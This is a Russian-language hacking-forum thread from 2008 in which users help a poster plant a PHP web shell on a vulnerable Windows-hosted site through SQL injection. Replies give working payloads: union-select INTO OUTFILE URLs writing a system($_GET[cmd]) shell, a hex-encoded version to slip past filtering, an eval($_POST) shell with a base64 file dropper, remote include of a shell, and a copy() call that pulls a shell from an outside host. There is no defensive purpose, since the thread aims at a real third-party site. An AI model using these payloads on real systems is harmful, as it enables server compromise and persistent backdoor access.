Заливка php шелла

Discussion in 'Уязвимости' started by ty13r, 8 Jan 2008.

Thread Status:
Not open for further replies.
  1. ty13r

    ty13r Elder - Старейшина

    Joined:
    18 Jul 2007
    Messages:
    39
    Likes Received:
    2
    Reputations:
    0
    В общем имеется дырявый сайт с инъекцией http://site.com/bug.php?&id=-1' union select 1,2/*
    Пытаюсь залить на него php-shell: http://site.com/bug.php?&id=-1' union select <? system($_GET[cmd]);?>,2 into outfile '/www/site/shell.php'/*
    Шелл shell.php успешно создается но при попытке исполнить команду http://site.com/shell.php?cmd= ничего не выводится. Пытался использовать и exec() и passthru() - результат тот же. Функции system(),exec() и passthru() не задизейблены.
    Подскажите что не так?
    ЗЫ сервер крутится на винде
     
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    <? include($_GET[blablabla]);?>
     
  3. ty13r

    ty13r Elder - Старейшина

    Joined:
    18 Jul 2007
    Messages:
    39
    Likes Received:
    2
    Reputations:
    0
    И что? Как я понял это даст произвольные файлы инклудить а мне бы команды выполнять
     
  4. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Омфг. Инклудишь шелл, дальше работай шеллом. Удобнее как ни крути.
     
  5. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    моё решение, заливаешь шелл вида
    <?php eval($_POST['shell'])?>
    создаёшь html файл с кодом
    Code:
    <html>
    <body>
    <form action=[адрес шелла]>
    <textarea name='shell'>
    </textarea>
    </body>
    </html>
    
    Затем берёшь и перегоняешь весь код шелла в base64 и пишешь нечто такое -
    Code:
    $fh=fopen('newshell.php','w');
    fputs($fh,base64_decode('шелл в бэйс64'));
    fclose($fh);
    
    Вставляешь в textarea и отправляешь
    Вот примерно так
     
    #5 Termin@L, 8 Jan 2008
    Last edited: 8 Jan 2008
  6. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    http://site.com/bug.php?&id=-1' union select file_priv,2 from mysql.user/*
    Если Y будет, то можно будет INTO OUTFILE, если N, то соответсвенно низя (ну и если выругается, что доступа нет - тоже)
     
    1 person likes this.
  7. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Basurman, и зачем ему это? пздц, ты вообще первый пост читал?
    ty13r, делай то что тебе Слип говорит
    ЗЫ Ты кстати какие команды пытался выполнить?
     
  8. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    вот к этому
    P.S. пздц, а то непохек
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ты што, наркоман? у него файл создаётся соответственно у юзера file_priv = 1, нахуя ему их узнавать то теперь раз он уже смог файл залить? ты сам понял чё написал?
     
  10. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Spyder
    это не всегда удобно так как пост запросы сразу отпадают, а соответственно и заливка файлов на сервер
    2Basurman
    а ты знаешь что к таблице mysql.user вобще обычно доступ закрыт?
     
    #10 Termin@L, 8 Jan 2008
    Last edited: 8 Jan 2008
  11. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Брат-наркоман?
     
  12. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    1) Ой, только не надо поучать Spyder-a
    2) ty13r задал вопрос, на который надо отвечать,
    а не оффтопить...
     
  13. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    <? copy("http://sait.narod.ru/shell.php","./shellcheg.php"); ?>
    это лучше захексить

    запускаешь скрипт шелл копируется из указанного пути (http://sait.narod.ru/shell.php) в папку со скриптом подименем shellcheg.php
     
    2 people like this.
  14. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Нет вы извините конечно за оффтоп, но кто такой Spyder, чтобы ему уже нечему было учиться????
    Evil вот и не оффтопь, раз такой умный
    Scipio
    зачётный способ как-то не догадался)))
     
    #14 Termin@L, 8 Jan 2008
    Last edited: 8 Jan 2008
  15. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    Посмотри на свою репу, и на репу Spyder-a... А что касается поставленного вопроса: проинклудь шелл и все.
     
    1 person likes this.
  16. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    если уж на то пошло, то
    то есть не пользуйся пробелами в <?system($_GET[cmd]);?> .. далее, можешь внутри система заинеодить в бэйс. у меня много раз не пропускало именно изза $
     
    #16 darky, 8 Jan 2008
    Last edited: 8 Jan 2008
  17. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Такс, давай те по порядку, а то я щас с ума сойду
    ТС говорит что файл создаётся (!!!), т е права на создание файлов есть, из этого следует вопрос нахуя нужен вот этот пост ------> https://forum.antichat.ru/showpost.php?p=553675&postcount=6 ?????
    далее
    это кто тебе такую чушь сказал? тебя обманули жестоко
    Ты хочешь скать есть выполнить код <?include($_GET[inc])?>
    и проинклудить удалённый шелл который работает постом и естественно файлы льются тоже с использованием метода пост, то работат ничего не будет? Ты серьёзно так думаешь?

    blackybr: в случае allow_url_fopen будут :)


    Блеки, вообще то
    http://site.com/bug.php?&id=-1'+union+select+'<?system($_GET[cmd]);?>',2+into+outfile+'/www/site/shell.php'/*
    <?system($_GET[cmd]);?> - надо в кавычки обрамлять



    blackybr
    : Извини ламера :DDDDD

    хватет мои посты редактировать :D



    blackybr
    : старею )
     
    #17 Spyder, 8 Jan 2008
    Last edited by a moderator: 8 Jan 2008
    2 people like this.
  18. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    тогда уж
    http://site.com/bug.php?&id=-1'+union+select+0x3C3F73797374656D28245F4745545B22636D64225D293B3F3E,2+into+outfile+'/www/site/shell.php'/*

    а вобще думаю мой вариант наиболее оптимальный (хотя как пхп настроен)
     
    3 people like this.
Thread Status:
Not open for further replies.